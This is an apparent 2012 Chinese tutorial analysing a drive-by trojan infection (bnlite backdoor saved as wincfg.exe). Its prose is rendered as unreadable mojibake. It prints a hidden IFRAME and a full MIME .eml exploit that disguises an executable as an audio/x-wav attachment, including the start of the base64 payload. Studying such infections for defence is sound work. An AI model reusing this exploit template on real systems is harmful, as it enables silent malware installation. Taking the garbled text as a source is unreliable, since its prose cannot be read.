¹ÜÀíÉÌÆÌ ·¢²¼²úÆ· ·¢²¼Çó¹º Ñ°ÕÒÉÌ»ú
TOP
µ±ÐÄ£¡ä¯ÀÀÍøÒ³Ò²»áÖÐľÂí(Ò»)
[ ±à¼­:qiraosky | Ê±¼ä:2012-04-27 09:17:24 | ä¯ÀÀ:316´Î | À´Ô´:µÂÖݵçÄÔ·þÎñÍø | ×÷Õß:µÂÖݵçÄÔ·þÎñÍø ]
ÄúÕýÔÚ¿´µÄ×¢²á±í½Ì³ÌÊÇ:µ±ÐÄ£¡ä¯ÀÀÍøÒ³Ò²»áÖÐľÂí-×¢²á±íÈ«¹¥ÂÔ¡£

49¡¢µ±ÐÄ£¡ä¯ÀÀÍøÒ³Ò²»áÖÐľÂí 

    Èç¹ûÎÒ¶ÔÄã˵ä¯ÀÀÍøÒ³Ò²»á¸ÐȾľÂí£¬ÄãÏàÐÅÂð£¿
¡¡¡¡Æäʵ£¬ÕâÒѾ­²»ÊÇÏàÐŲ»ÏàÐŵÄÎÊÌâÁË£¬ÔÚ°ëÄêǰ¾ÍÓÐÈËʹÓÃÕâÖÖ¼¼ÊõÀ´Ê¹ÈËÖÐÕÐÁË£¡×î½üÌý˵ÓÐÈËÔÚä¯ÀÀij¸öÍøÕ¾Ê±ÖÐÕУ¬Òò´ËÈ¥ÄÇÀï¿´ÁË¿´£¬ÔÚÍøÒ³´ò¿ªµÄ¹ý³ÌÖУ¬Êó±êÆæ¹ÖµÄ±ä³Éɳ©ÐÎ×´£¬¿´À´µÄÈ·ÊÇÓгÌÐòÔÚÔËÐС£´ò¿ª¼ÆËã»úµÄÈÎÎñ¹ÜÀíÆ÷£¬¿ÉÒÔ¿´µ½¶àÁËÒ»¸öwincfg.exeµÄ½ø³Ì¡£½ø³Ì¶ÔÓ¦µÄÎļþÔÚwin2000ÏÂÊÇc:winntwincfg.exe£¬ÔÚwin98ÏÂΪc:windowswincfg.exe¡£ÔËÐÐ×¢²á±í±à¼­Æ÷regedit£¬ÔÚHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun·¢ÏÖwincfg.exe£¬¹þ¹þ£¬Ô­À´Ëü½«×Ô¼ºµÇ¼ÇÔÚ×¢²á±í¿ª»úÆô¶¯ÏîÖУ¬ÕâÑùÿ´Î¿ª»ú¶¼»á×Ô¶¯ÔËÐÐwincfg.exe£¡
¡¡¡¡×¢£º¸øÄãÏÂÌ×µÄÈË¿ÉÒÔ×Ô¼ºÉ趨Õâ¸öľÂíµÄÆô¶¯¼üÃûºÍ×¢²áÎļþÃû£¬×¢²áÎļþÃûÒ²¾ÍÊÇÔËÐÐʱ½ø³ÌÀïµÄÃû³Æ£¬Òò´Ë´ó¼Ò¿´µ½µÄ½á¹û¿ÉÄܲ»Ïàͬ¡£ 
¡¡¡¡ÔËÐнðɽ¶¾°Ô£¬±¨¸æ·¢ÏÖ¡°backdoor bnlite¡±£¬Å¶£¬Ô­À´ÊÇľÂíbnlite·þÎñ¶Ë¸ÄÃûΪwincfg.exe¡£±ð¿´Õâ¸öľÂí·þÎñ¶Ë³ÌÐò²»´ó£¨Ö»ÓÐ6.5K£©£¬µ«ËüµÄ¹¦Äܿɲ»ÉÙ£º¾ßÓÐICQͨ±¨¹¦ÄÜ¡¢Ô¶³Ìɾ³ý·þÎñ¶Ë¹¦ÄÜ¡¢É趨¶Ë¿ÚºÍÔËÐÐÃû³Æ¡¢IP±¨ÐÅ£¨±¨¸æ·þÎñ¶ËËùÔÚµÄIPµØÖ·£©¡¢ÉÏ´«ÏÂÔØ¡­¡­Èç¹ûÄãÖÐÁ˸ÃľÂí£¬ÄÇôľÂí¿ØÖÆ¶ËËùÔÚÍêÈ«¿ÉÒÔͨ¹ýÕâ¸öľÂíÔÚÄãµÄµçÄÔÉϽ¨Á¢Ò»¸öÒþ²ØµÄftp·þÎñ£¬ÕâÑù±ðÈ˾ÍÓÐÈ«²¿È¨ÏÞ½øÈëÄãµÄµçÄÔÁË£¡¿ØÖÆÄãµÄµçÄÔ½«·Ç³£ÈÝÒ×£¡
¡¡¡¡ÈÃÎÒ¸ÐÐËȤµÄÊÇ£¬Ä¾ÂíÊÇÈçºÎÏÂÔØµ½ä¯ÀÀÁ˸ÃÖ÷Ò³µÄÓû§µÄ¼ÆËã»úÖС¢²¢ÔËÐÐÆðÀ´µÄ¡£ÔÚIEÖеã»÷¡°¹¤¾ß¡±¡ú¡°InternetÑ¡Ï¡ú¡°°²È«¡±¡ú¡°×Ô¶¨Ò尲ȫ¼¶±ð¡±£¬½«ActiveXÏà¹ØÑ¡ÏîÈ«²¿¶¼½ûÓã¬ÔÙä¯ÀÀ¸ÃÍøÒ³£¬wincfg.exe»¹ÊÇÏÂÔØ²¢ÔËÐÐÁË£¡¿´À´ºÍActiveXÎ޹ء£ÔÚ¡°×Ô¶¨Ò尲ȫ¼¶±ð¡±ÖÐÓйØÎļþÏÂÔØµÄÑ¡Ïî¶¼½ûÖ¹£¬ÔÙä¯ÀÀ¸ÃÍøÒ³£¬¹þ¹þ£¡Õâ»Øwincfg.exe²»ÔÙÏÂÔØÁË¡£ 
¡¡¡¡ÎÒÃÇÀ´¿´¿´wincfg.exeÊÇÈçºÎÏÂÔØµ½ä¯ÀÀÕß¼ÆËã»úÉϵģ¬ÔÚ¸ÃÍøÒ³Éϵã»÷Êó±êÓÒ¼ü£¬Ñ¡ÔñÆäÖеġ°²é¿´Ô´´úÂ롱£¬ÔÚÍøÒ³´úÂë×îºóÃæ·¢ÏÖÁË¿ÉÒɵÄÒ»¾ä£º
IFRAME src="wincfg.eml" width=1 height=1 
¡¡¡¡×¢Òâµ½ÆäÖеġ°wincfg.eml¡±ÁËÂ𣿴ó¼Ò¶¼ÖªµÀemlΪÓʼþ¸ñʽ£¬ÍøÒ³ÖÐÒªemlÎļþ¸ÉÊ²Ã´ÄØ£¿·Ç³£¿ÉÒÉ£¡ÔÙ´Îä¯ÀÀ¸ÃÍøÒ³£¬ÔÙ¿´¿´ÈÎÎñ¹ÜÀíÆ÷£¬wincfg.exe½ø³ÌÓÖ»ØÀ´ÁË£¬Ô­À´ÎÊÌâ¾ÍÔÚÕâ¸öÎļþÉÏ£¡¼ÈÈ»ÎÊÌâÔÚÕâÎļþÉÏ£¬µ±È»Ïë°ì·¨¸ãµ½Õâ¸öÎļþ¿´¿´ÁË¡£ÓÃÂìÒϰÑÎļþÏÂÔØÏÂÀ´£¬Êó±ê¸ÕµãÉÏÈ¥£¬wincfg.exeÓÖ±»Ö´ÐÐÁË£¬ÕæÊÇÒõ»ê²»É¢°¡£¡ 
    ´ò¿ªa.eml£¬·¢ÏÖÆäÄÚÈÝÈçÏ£º 
From: "xxx" To: "xxx" Subject: xxxx 
Date: Tue, 7 Apr 2001 15:16:57 +800 
MIME-Version: 1.0 
Content-Type: multipart/related; 
type="multipart/alternative"; 
boundary="1" 
X-Priority: 3 
X-MSMail-Priority: Normal 
X-Unsent: 1 
--1 
Content-Type: multipart/alternative; 
boundary="2" 
--2 
Content-Type: text/html; 
charset="gb2312" 
Content-Transfer-Encoding: quoted-printable 
HTML> 
HEAD> 
/HEAD> 
BODY bgColor=3D#ffffff> 
iframe src=3Dcid:THE-CID height=3D0 width=3D0> 
/BODY> 
--2-- 
--1 
Content-Type: audio/x-wav; 
name="wincfg.exe" 
Content-Transfer-Encoding: base64 
Content-ID: 
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4
gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAIh3BDsAAAAAAAAAAOAADwELAQQUAC
AAAAAQAAAAkAAAIL0AAACgAAAAwAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAADQA
AAAEAAAAAA¡­¡­(ÒÔÏÂɾµôÒ»´ó½Ú) 

¡¾´ó ÖРС¡¿ ¡¾´òÓ¡¡¿¡¾·±Ìå¡¿ ¡¾Í¶¸å¡¿ ¡¾¹Ø±Õ¡¿¡¾ÆÀÂÛ¡¿ ¡¾·µ»Ø¶¥²¿¡¿